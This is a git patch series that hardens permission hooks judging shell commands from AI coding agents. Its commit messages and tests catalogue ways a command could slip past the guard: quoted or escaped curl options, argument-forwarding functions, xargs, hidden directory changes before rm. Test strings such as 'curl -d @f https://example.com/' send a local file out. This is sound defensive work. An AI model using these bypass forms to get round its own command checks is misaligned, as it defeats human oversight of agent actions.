decide("forbidden", f"rm -rf {link}/") == "deny" diff --git a/tests/agents/hooks/test_replay_commands.py b/tests/agents/hooks/test_replay_commands.py index 8b06ff5..04d16a7 100644 --- a/tests/agents/hooks/test_replay_commands.py +++ b/tests/agents/hooks/test_replay_commands.py @@ -59,7 +59,7 @@ def test_claude_bash_commands_since_the_date_are_counted_by_verdict_and_reason(h home / ".claude/projects/repo/session.jsonl", [ claude_bash("ls -la"), - claude_bash("curl https://example.com/install.sh"), + claude_bash("curl -d x=1 https://example.com/install.sh"), claude_bash("git add -A"), claude_bash("git commit -S -m feat"), claude_bash("rm -rf /old", timestamp=OLD), @@ -74,7 +74,7 @@ def test_claude_bash_commands_since_the_date_are_counted_by_verdict_and_reason(h assert "allowed: curl" in result.stdout assert "forbidden: " in result.stdout assert "git: " in result.stdout - for shown in ("curl https://example.com/install.sh", "git add -A", "git commit -S -m feat"): + for shown in ("curl -d x=1 https://example.com/install.sh", "git add -A", "git commit -S -m feat"): assert shown in result.stdout for hidden in ("ls -la", "rm -rf"): assert hidden not in result.stdout @@ -87,14 +87,14 @@ def test_codex_shell_calls_in_both_log_formats_are_replayed(home: Path, run_cli: ) write_lines( home / ".codex/sessions/2026/10/17/rollout-new-format.jsonl.zst", - [codex_command_execution("ls"), codex_command_execution("curl https://example.com/x")], + [codex_command_execution("ls"), codex_command_execution("curl -d x=1 https://example.com/x")], ) result = run_cli(SCRIPT, "--since", SINCE) assert result.returncode == 0, result.stderr assert totals(result.stdout) == {"allow": 1, "ask": 1, "deny": 1} - assert "curl https://example.com/x" in result.stdout + assert "curl -d x=1 https://example.com/x" in result.stdout def test_unreadable_lines_and_other_codex_files_are_skipped(home: Path, run_cli: CliRunner) -> None: diff --git a/tests/agents/test_command_permission_sync.py b/tests/agents/test_command_permission_sync.py index dda16c6..252b4e1 100644 --- a/tests/agents/test_command_permission_sync.py +++ b/tests/agents/test_command_permission_sync.py @@ -165,3 +165,20 @@ def test_a_locked_development_shell_runs_while_arbitrary_packages_ask() -> None: ) def test_handing_work_to_a_new_herdr_session_runs_without_approval(prefix: tuple[str, ...]) -> None: assert prefix in ALLOW + + +@pytest.mark.parametrize( + "prefix", + [ + ("herdr", "agent", "read"), + ("herdr", "agent", "wait"), + ("herdr", "worktree", "open"), + ("herdr", "worktree", "list"), + ], +) +def test_watching_lanes_and_their_worktrees_runs_without_approval(prefix: tuple[str, ...]) -> None: + assert prefix in ALLOW + + +def test_the_command_hook_alone_judges_rm() -> None: + assert [rule for rule in POLICY["rules"] if rule["prefix"][0] == "rm"] == [] From 2bd208e9d88649e09a80d6063c21c36c44dc0a92 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:15:14 +0900 Subject: [PATCH 02/25] fix(agents): close option and rm bypasses found in review An adversarial review of #242 showed five forms the hooks allowed: - rm beside a command that writes, moves, or relinks its target first: rm now passes only when every other segment just reads - curl and wget send options in quotes or escaped: a governed command whose unquoted word is an option the source text hides now asks - functions that forward "$@", "$*", positional parameters, or array elements to a governed program: such expansions now ask - curl headers read from a file or input (-H @file, --header @-) now ask - builtin cd, env --chdir=DIR, env -CDIR, source, and run-time programs leave the working directory unknown, so relative rm targets ask Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 15 +++-- agents/hooks/lib/removal_policy.py | 69 +++++++++++++++++----- agents/hooks/lib/shell_syntax.py | 14 +++++ agents/hooks/rules/allowed_commands.json | 2 +- tests/agents/hooks/test_allowed_command.py | 18 ++++++ tests/agents/hooks/test_removal_command.py | 14 ++++- 6 files changed, 108 insertions(+), 24 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 7a47f57..bb02f6d 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -74,7 +74,8 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: even beside a run-time argument. The allowed kind reviews only programs whose effects reach past the sandbox, such as GitHub writes and remote fetches, and lets every other program take any form, since the sandbox confines it. A run-time word in a governed program counts as a plain - placeholder, so it passes only where any value would. + placeholder, so it passes only where any value would, and a governed command that can hide an + option from the rules asks. """ candidate = command_policy.canonical(item) prefixes, rules = policy.prefixes, policy.rules @@ -92,7 +93,9 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): return hook_decision.ALLOW governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") - if governed is None or command_policy.regex_reason(candidate.static_words_text, rules): + if governed is None or ( + not candidate.hides_options and command_policy.regex_reason(candidate.static_words_text, rules) + ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) return hook_decision.ask( @@ -101,9 +104,9 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: ) -def removal_objection(kind: str, item: shell_syntax.Command, working_directory: Path | None) -> Verdict: +def removal_objection(kind: str, item: shell_syntax.Command, workspace: removal_policy.Workspace) -> Verdict: """Pass rm where a temporary directory or Git accounts for its targets; else deny a tree and ask for files.""" - removal = removal_policy.removal(command_policy.canonical(item), working_directory) + removal = removal_policy.removal(command_policy.canonical(item), workspace) if removal is None or removal.is_accounted_for: return hook_decision.ALLOW preview = shell_syntax.command_preview(item.raw) @@ -130,11 +133,11 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: preview = shell_syntax.command_preview(command) verdict = hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") else: - working_directory = removal_policy.working_directory(payload.get("cwd"), commands) + workspace = removal_policy.workspace(payload.get("cwd"), commands) verdicts = ( verdict for item in commands - for verdict in (objection(kind, item, policy), removal_objection(kind, item, working_directory)) + for verdict in (objection(kind, item, policy), removal_objection(kind, item, workspace)) ) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) except (ValueError, TypeError, AttributeError, OSError) as error: diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index 25b2c58..a910a2f 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -1,6 +1,5 @@ """Judge rm by whether a temporary directory or Git accounts for everything it removes.""" -from collections.abc import Iterable from dataclasses import dataclass import os from pathlib import Path @@ -21,7 +20,21 @@ {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} ) DIRECTORY_CHANGES = frozenset({"cd", "pushd", "popd"}) -CHDIR_OPTIONS = frozenset({"-C", "--chdir"}) +# Commands that only read, so beside them an rm target stays as the hook sees it. +READERS = frozenset( + {"[", "cat", "echo", "false", "grep", "head", "ls", "printf", "pwd", "rg", "tail", "test", "true", "wc"} +) + + +@dataclass(frozen=True, slots=True) +class Workspace: + """What the rest of one command leaves fixed: the working directory, if known, and the file system. + + `settled` is False when another command could write, move, or relink an rm target first. + """ + + directory: Path | None + settled: bool @dataclass(frozen=True, slots=True) @@ -30,6 +43,7 @@ class Removal: recursive: bool targets: tuple[Path, ...] | None + settled: bool = True @property def is_temporary(self) -> bool: @@ -37,7 +51,9 @@ def is_temporary(self) -> bool: @property def is_accounted_for(self) -> bool: - """Whether every target is temporary or, for a plain removal, restorable from Git.""" + """Whether every target is temporary or, for a plain removal, restorable from Git, and stays so.""" + if not self.settled: + return False if self.is_temporary: return True return not self.recursive and bool(self.targets) and all(is_restorable(target) for target in self.targets) @@ -47,7 +63,7 @@ def removes_unaccounted_tree(self) -> bool: return self.recursive and not self.is_temporary -def removal(command: shell_syntax.Command, directory: Path | None) -> Removal | None: +def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | None: """Read a canonical rm command, resolving relative targets against the known working directory.""" if command.arguments[0] != "rm": return None @@ -65,18 +81,41 @@ def removal(command: shell_syntax.Command, directory: Path | None) -> Removal | recursive |= word == "--recursive" or (not word.startswith("--") and bool(set(word) & {"r", "R"})) else: hidden = True + directory = workspace.directory if hidden or not operands or (directory is None and not all(Path(word).is_absolute() for word in operands)): - return Removal(recursive, None) - return Removal(recursive, tuple(Path(os.path.join(directory or "/", word)) for word in operands)) - - -def working_directory(payload_directory: object, commands: Iterable[shell_syntax.Command]) -> Path | None: - """The directory relative targets name, or None once any segment may have changed it.""" - for command in commands: - name = Path(command.arguments[0]).name - if name in DIRECTORY_CHANGES or (name == "env" and CHDIR_OPTIONS & set(command.arguments)): - return None - return Path(payload_directory) if isinstance(payload_directory, str) and payload_directory else Path.cwd() + return Removal(recursive, None, workspace.settled) + targets = tuple(Path(os.path.join(directory or "/", word)) for word in operands) + return Removal(recursive, targets, workspace.settled) + + +def workspace(payload_directory: object, commands: tuple[shell_syntax.Command, ...]) -> Workspace: + """Judge the whole command once: whether the working directory and the file system stay put.""" + known = not any(changes_directory(command) for command in commands) + directory = Path(payload_directory) if isinstance(payload_directory, str) and payload_directory else Path.cwd() + return Workspace(directory if known else None, all(is_inert(command) for command in commands)) + + +def changes_directory(command: shell_syntax.Command) -> bool: + """Whether a segment may run rm, or anything after it, from another directory.""" + if command.program_is_dynamic: + return True + name, rest = Path(command.arguments[0]).name, command.arguments[1:] + if name == "builtin": + return bool(rest) and rest[0] in DIRECTORY_CHANGES + if name == "env": + return any(word.startswith(("-C", "--chdir")) for word in rest) + return name in DIRECTORY_CHANGES or name in {"source", "."} + + +def is_inert(command: shell_syntax.Command) -> bool: + """Whether a segment leaves rm targets alone: rm itself, a wrapper whose program is judged on its + own, or a reader without output redirections.""" + if command.program_is_dynamic or command.writes: + return False + name = Path(command.arguments[0]).name + if name == "env": + return not changes_directory(command) + return name == "rm" or name in shell_syntax.WRAPPERS or name in READERS def is_option(word: str) -> bool: diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 1b6a4cf..dbbf9a7 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -61,6 +61,8 @@ SHELLS = frozenset({"bash", "sh", "zsh"}) COMMAND_LOOKUP = frozenset({"-v", "-V"}) ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*=") +# Positional parameters and array elements, which expand to any number of words, options included. +SPREADING_EXPANSION = re.compile(r"\$\{?([@*]|[0-9])|\[[@*]\]") # Process wrappers run their trailing arguments as a command. Each entry lists the flags without an # operand and the options whose operand is the next token; unknown options are refused, not skipped. WRAPPERS: dict[str, tuple[frozenset[str], frozenset[str]]] = { @@ -138,6 +140,18 @@ def static_words_text(self) -> str: RUN_TIME_PLACEHOLDER if dynamic else word for word, dynamic in zip(self.words, self.dynamic, strict=True) ) + @property + def hides_options(self) -> bool: + """Whether an option can reach the program in a form its source text does not show. + + A quoted or escaped word still becomes an option once the shell removes the quotes, and a + positional or array expansion can become any number of words. + """ + return any( + (argument.startswith("-") and word != argument) or (dynamic and SPREADING_EXPANSION.search(word)) + for word, argument, dynamic in zip(self.words, self.arguments, self.dynamic, strict=True) + ) + @property def has_dynamic_words(self) -> bool: return any(self.dynamic) diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 01a6045..8d30a06 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -55,7 +55,7 @@ "patterns": [ "^curl( -[A-Za-z]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", "^wget( -[A-Za-z]+)*( -O [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", - "^curl( -[#0-9IJLNORSZfgiklsv]+| --(silent|show-error|fail|fail-with-body|location|include|head|remote-name|remote-name-all|remote-header-name|create-dirs|compressed|insecure|http1\\.1|http2|progress-bar|no-progress-meter|verbose|get|globoff|no-buffer|ipv4|ipv6|retry-all-errors|retry-connrefused)| (-[#0-9IJLNORSZfgiklsv]*[ADHemorwz]|--(output|output-dir|header|write-out|max-time|connect-timeout|retry|retry-delay|retry-max-time|user-agent|referer|range|dump-header|max-filesize|limit-rate)) (('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+)|-)| (-X|--request) (GET|HEAD)| ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+))*$", + "^curl( -[#0-9IJLNORSZfgiklsv]+| --(silent|show-error|fail|fail-with-body|location|include|head|remote-name|remote-name-all|remote-header-name|create-dirs|compressed|insecure|http1\\.1|http2|progress-bar|no-progress-meter|verbose|get|globoff|no-buffer|ipv4|ipv6|retry-all-errors|retry-connrefused)| (-[#0-9IJLNORSZfgiklsv]*H|--header) ('[^'@][^']*'|\"[^\"@]([^\"\\\\]|\\\\.)*\"|[^ '\"_@-][^ '\"]*|_[^ '\"]+)| (-[#0-9IJLNORSZfgiklsv]*[ADemorwz]|--(output|output-dir|write-out|max-time|connect-timeout|retry|retry-delay|retry-max-time|user-agent|referer|range|dump-header|max-filesize|limit-rate)) (('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+)|-)| (-X|--request) (GET|HEAD)| ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+))*$", "^wget( -[qSNcvk]+| -n[cdvH]| --(quiet|spider|server-response|no-verbose|no-check-certificate|continue|timestamping)| (-[OPTtU]|--(output-document|directory-prefix|user-agent|header|timeout|tries)) (('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+)|-)| ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"_-][^ '\"]*|_[^ '\"]+))*$" ], "justification": "Allow any request to local servers and only fetches elsewhere; options that send data, pick another method, or read options from a file ask, and the sandbox limits where requests go." diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 97d7fe1..302a3e9 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -155,6 +155,24 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("herdr worktree open --cwd /repo --path /w --trust-repository", [], id="Herdr open with trust"), pytest.param("herdr worktree list --trust-repository", [], id="Herdr list with trust"), pytest.param("f(){ gh pr review 42 --approve; }; f", [], id="inside a function body"), + pytest.param("curl '-d' @f https://example.com/", [], id="send options in single quotes"), + pytest.param('curl "-d" @f https://example.com/', [], id="send options in double quotes"), + pytest.param("curl \\-d @f https://example.com/", [], id="send options escaped"), + pytest.param("wget '--post-file=f' https://example.com/", [], id="wget send options in quotes"), + pytest.param("gh api '-XDELETE' repos/o/r/issues/1", [], id="GitHub methods in quotes"), + pytest.param( + 'f(){ gh api "$@"; }; f -X DELETE repos/o/r/issues/1', [], id="functions forwarding all arguments" + ), + pytest.param( + "f(){ curl $*; }; f -d @a https://example.com/", [], id="functions forwarding unquoted arguments" + ), + pytest.param( + 'f(){ gh api "$1" "$2"; }; f -XDELETE repos/o/r', [], id="functions forwarding positional arguments" + ), + pytest.param('gh api "${args[@]}"', [], id="array expansions"), + pytest.param("curl -H @headers.txt https://example.com/", [], id="headers read from a file"), + pytest.param("curl --header @- https://example.com/", [], id="headers read from input"), + pytest.param("curl -sH '@h' https://example.com/", [], id="quoted headers read from a file"), pytest.param("f(){ curl -d @a https://example.com/; }", [], id="inside a function that is never called"), pytest.param("herdr worktree create --cwd /repo --trust-repository", [], id="Herdr repository trust"), pytest.param("herdr pane split --pane w1:p2 --env CLAUDE_CONFIG_DIR=/tmp/x", [], id="Herdr pane environments"), diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index 9942fcf..e4b733e 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -49,6 +49,8 @@ def decide(kind: str, command: str, cwd: Path | None = None) -> str: pytest.param("rm -rf {tmp}/build", id="a tree in the temporary directory"), pytest.param("rm -r -- {scratch}/a {tmp}/b", id="trees in both temporary roots"), pytest.param("rm -fR {tmp}/a/../b", id="a normalized path that stays inside"), + pytest.param("ls {tmp} && rm -f {tmp}/a.txt; echo done", id="beside commands that only read"), + pytest.param("command rm tracked.txt", id="behind a wrapper"), ], ) @pytest.mark.parametrize("kind", ["allowed", "forbidden"]) @@ -72,10 +74,18 @@ def test_removals_a_temporary_root_or_git_can_account_for_pass(project: Path, ki pytest.param("rm {tmp}/../outside.txt", id="a path that leaves the temporary directory"), pytest.param("rm --unknown tracked.txt", id="an unknown option"), pytest.param("rm", id="no targets"), + pytest.param("printf x >> tracked.txt; rm tracked.txt", id="a write to the target first"), + pytest.param("mv untracked.txt tracked.txt && rm tracked.txt", id="a move onto the target first"), + pytest.param("ln -s {project} {tmp}/link; rm -r {tmp}/link/sub", id="a symlink created first"), + pytest.param("rm tracked.txt; git checkout -- tracked.txt", id="any command that can write"), + pytest.param("builtin cd sub && rm tracked.txt", id="a builtin directory change"), + pytest.param("env --chdir=sub rm tracked.txt", id="env with a long directory option"), + pytest.param("env -Csub rm tracked.txt", id="env with an attached directory option"), + pytest.param("$GO sub; rm tracked.txt", id="a run-time program first"), ], ) -def test_removals_neither_can_account_for_ask(project: Path, command: str) -> None: - command = command.format(tmp=project / "tmp") +def test_removals_neither_can_account_for_ask(project: Path, git_project: Path, command: str) -> None: + command = command.format(tmp=project / "tmp", project=git_project) assert decide("allowed", command) == "ask" assert decide("forbidden", command) == "allow" From da726150a2caa8f4f963755d4c84e0971f872b58 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:26:52 +0900 Subject: [PATCH 03/25] fix(agents): judge request options on decoded arguments A second adversarial review of #242 found three more forms the hooks allowed. Fix the classes, not the forms: - curl, wget, and gh api are matched against their shell-decoded arguments, requoted, so quoting or escaping cannot hide an option or an @file header value; the gh api GraphQL and reply-body patterns follow the requoted form - a governed program that xargs runs with arguments from its input asks - rm checks run every git call with --literal-pathspecs, and a target holding a wildcard or pathspec magic character counts as unknown Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 6 ++++-- agents/hooks/lib/command_policy.py | 11 +++++++++++ agents/hooks/lib/removal_policy.py | 5 ++++- agents/hooks/lib/shell_syntax.py | 11 +++++++++++ agents/hooks/rules/allowed_commands.json | 4 ++-- tests/agents/hooks/test_allowed_command.py | 14 ++++++++++++++ tests/agents/hooks/test_removal_command.py | 9 +++++++++ 7 files changed, 55 insertions(+), 5 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index bb02f6d..909c432 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -75,7 +75,7 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: past the sandbox, such as GitHub writes and remote fetches, and lets every other program take any form, since the sandbox confines it. A run-time word in a governed program counts as a plain placeholder, so it passes only where any value would, and a governed command that can hide an - option from the rules asks. + option from the rules, or takes more arguments from xargs, asks. """ candidate = command_policy.canonical(item) prefixes, rules = policy.prefixes, policy.rules @@ -94,7 +94,9 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: return hook_decision.ALLOW governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") if governed is None or ( - not candidate.hides_options and command_policy.regex_reason(candidate.static_words_text, rules) + not candidate.appends_input + and not candidate.hides_options + and command_policy.regex_reason(command_policy.judged_text(candidate), rules) ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) diff --git a/agents/hooks/lib/command_policy.py b/agents/hooks/lib/command_policy.py index 2b2756d..1177219 100644 --- a/agents/hooks/lib/command_policy.py +++ b/agents/hooks/lib/command_policy.py @@ -11,6 +11,10 @@ import shell_syntax +# Programs whose every option the precise rules judge after the shell has decoded it. +DECODED_PROGRAMS = frozenset({"curl", "wget"}) + + def regex_matches(pattern: str, value: str, insensitive: bool = False) -> bool: """Use the existing system regex engine instead of silently changing regex dialects.""" return any_regex_matches((pattern,), value, insensitive) @@ -101,6 +105,13 @@ def canonical(command: shell_syntax.Command) -> shell_syntax.Command: return command.rebased(1 + len(globals_), ("git",)) +def judged_text(command: shell_syntax.Command) -> str: + """The text the precise rules read: requests are judged on their decoded options, others on their source.""" + if command.arguments[0] in DECODED_PROGRAMS or command.arguments[:2] == ("gh", "api"): + return command.decoded_words_text + return command.static_words_text + + def prefix_rule(arguments: tuple[str, ...], rules: list[dict], decision: str) -> dict | None: """Match complete parsed arguments rather than flattening away token boundaries.""" return next( diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index a910a2f..6592705 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -20,6 +20,8 @@ {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} ) DIRECTORY_CHANGES = frozenset({"cd", "pushd", "popd"}) +# Characters Git reads as a wildcard or pathspec magic, so a name holding one may match another file. +PATHSPEC_SPECIALS = frozenset("*?[]\\:!") # Commands that only read, so beside them an rm target stays as the hook sees it. READERS = frozenset( {"[", "cat", "echo", "false", "grep", "head", "ls", "printf", "pwd", "rg", "tail", "test", "true", "wc"} @@ -82,6 +84,7 @@ def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | No else: hidden = True directory = workspace.directory + hidden |= any(PATHSPEC_SPECIALS & set(word) for word in operands) if hidden or not operands or (directory is None and not all(Path(word).is_absolute() for word in operands)): return Removal(recursive, None, workspace.settled) targets = tuple(Path(os.path.join(directory or "/", word)) for word in operands) @@ -150,7 +153,7 @@ def is_restorable(target: Path) -> bool: def git(directory: Path, *arguments: str) -> bool: try: result = subprocess.run( - ["git", "-C", str(directory), *arguments], + ["git", "--literal-pathspecs", "-C", str(directory), *arguments], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=False, diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index dbbf9a7..94897ed 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -140,6 +140,17 @@ def static_words_text(self) -> str: RUN_TIME_PLACEHOLDER if dynamic else word for word, dynamic in zip(self.words, self.dynamic, strict=True) ) + @property + def decoded_words_text(self) -> str: + """The arguments as the program receives them, requoted, with each run-time word as a placeholder. + + Rules that judge options read this text, so quoting or escaping in the source cannot hide one. + """ + return " ".join( + RUN_TIME_PLACEHOLDER if dynamic else shlex.quote(argument) + for argument, dynamic in zip(self.arguments, self.dynamic, strict=True) + ) + @property def hides_options(self) -> bool: """Whether an option can reach the program in a form its source text does not show. diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 8d30a06..42cb3c1 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -10,13 +10,13 @@ "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/comments( --paginate)? --jq '[^']*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/issues/[0-9]+/comments( --paginate)?$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/issues/[0-9]+/comments( --paginate)? --jq '[^']*'$", - "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/comments/[0-9]+/replies -f body='[^']*('\\\\''[^']*)*'$", + "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/comments/[0-9]+/replies -f (body=[^ '\"]+|'body=[^']*('\"'\"'[^']*)*')$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews( --paginate)?$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews( --paginate)? --jq '[^']*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews/[0-9]+/comments( --paginate)?$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews/[0-9]+/comments( --paginate)? --jq '[^']*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+ --method POST -f parent_issue_id=[a-zA-Z0-9_=]+ /issues/[0-9]+/sub_issues$", - "^gh api graphql -f query='(query([[:space:]({{])|[{])[^']*('\\\\''[^']*)*'$", + "^gh api graphql -f 'query=(query([[:space:]({{])|[{])[^']*('\"'\"'[^']*)*'$", "^gh api( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| (-H|--header) ('[Aa]ccept: [^']*'|\"[Aa]ccept: [^\"$`\\\\]*\"|'X-GitHub-Api-Version: [^']*'|\"X-GitHub-Api-Version: [^\"$`\\\\]*\")| --cache [0-9]+[smh])* ('[^']*'|\"[^\"]*\"|[^ '\"-][^ '\"]*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| (-H|--header) ('[Aa]ccept: [^']*'|\"[Aa]ccept: [^\"$`\\\\]*\"|'X-GitHub-Api-Version: [^']*'|\"X-GitHub-Api-Version: [^\"$`\\\\]*\")| --cache [0-9]+[smh])*$", "^gh issue (list|status|view)( |$)", "^gh issue (create|comment|develop|edit|reopen|close)( |$)", diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 302a3e9..5bf8bff 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -64,6 +64,11 @@ "gh api repos/owner/repo/pulls/1/comments/99/replies -f body='it'\\''s great'", id="apostrophe in a single-quoted body", ), + pytest.param("gh api graphql -f query='query { viewer { login } }'", id="GitHub GraphQL queries"), + pytest.param( + 'gh api graphql -f "query=query { repository(owner: \\"o\\", name: \\"r\\") { id } }"', + id="GitHub GraphQL queries in double quotes", + ), pytest.param("gh stack submit --auto", id="non-interactive stack commands"), pytest.param("gh pr list 2>&1 | head -5", id="GitHub forms in pipelines"), pytest.param("curl -fsS http://localhost:3000/health", id="local server requests"), @@ -173,6 +178,15 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("curl -H @headers.txt https://example.com/", [], id="headers read from a file"), pytest.param("curl --header @- https://example.com/", [], id="headers read from input"), pytest.param("curl -sH '@h' https://example.com/", [], id="quoted headers read from a file"), + pytest.param("printf '%s\\n' -d @notes.txt | xargs curl https://pypi.org/", [], id="curl options from xargs"), + pytest.param("echo -X DELETE | xargs gh api repos/o/r/issues/1", [], id="gh api options from xargs"), + pytest.param("xargs wget https://example.com/ < urls.txt", [], id="wget options from xargs"), + pytest.param("curl -H \\@headers.txt https://pypi.org/", [], id="headers read from an escaped file name"), + pytest.param("curl -H 'Accept: '$TYPE https://example.com/", [], id="run-time header values"), + pytest.param("curl --data-urlencode q=x https://example.com/", [], id="options outside the read-only list"), + pytest.param("curl --max-time=5 https://example.com/", [], id="attached long option values"), + pytest.param("gh api graphql -f query='mutation { x }'", [], id="GitHub GraphQL mutations"), + pytest.param('gh api repos/o/r/issues/1 --jq .x -"X" DELETE', [], id="GitHub options decoded from quotes"), pytest.param("f(){ curl -d @a https://example.com/; }", [], id="inside a function that is never called"), pytest.param("herdr worktree create --cwd /repo --trust-repository", [], id="Herdr repository trust"), pytest.param("herdr pane split --pane w1:p2 --env CLAUDE_CONFIG_DIR=/tmp/x", [], id="Herdr pane environments"), diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index e4b733e..62aa34a 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -82,6 +82,9 @@ def test_removals_a_temporary_root_or_git_can_account_for_pass(project: Path, ki pytest.param("env --chdir=sub rm tracked.txt", id="env with a long directory option"), pytest.param("env -Csub rm tracked.txt", id="env with an attached directory option"), pytest.param("$GO sub; rm tracked.txt", id="a run-time program first"), + pytest.param("rm '[t]racked.txt'", id="a quoted glob that Git would match against a tracked file"), + pytest.param("rm ':(top)tracked.txt'", id="pathspec magic"), + pytest.param("rm 'tracked*.txt'", id="a quoted wildcard"), ], ) def test_removals_neither_can_account_for_ask(project: Path, git_project: Path, command: str) -> None: @@ -123,3 +126,9 @@ def test_a_symlink_out_of_the_temporary_directory_does_not_count_as_temporary( link = project / "tmp/link" link.symlink_to(git_project) assert decide("forbidden", f"rm -rf {link}/") == "deny" + + +@pytest.mark.parametrize("name", ["[t]racked.txt", "tracked*.txt", ":(top)tracked.txt"]) +def test_untracked_names_that_git_would_read_as_patterns_ask(project: Path, git_project: Path, name: str) -> None: + (git_project / name).write_text("untracked") + assert decide("allowed", f"rm '{name}'") == "ask" From 9c80ab8dac5296009103d70ce21d16bbbd8c6244 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 14:37:44 +0900 Subject: [PATCH 04/25] fix(agents): judge curl and wget on their arguments, not on text A third adversarial review of #242 showed that requoting decoded arguments for the regex rules let a send option such as -d{} pass as a quoted value, and that rm trusted git diff for files Git skips. - curl and wget leave the regex rules: request_policy reads their decoded arguments against a list of read-only options, each with a rule for its value (a header must not start with @, a method must 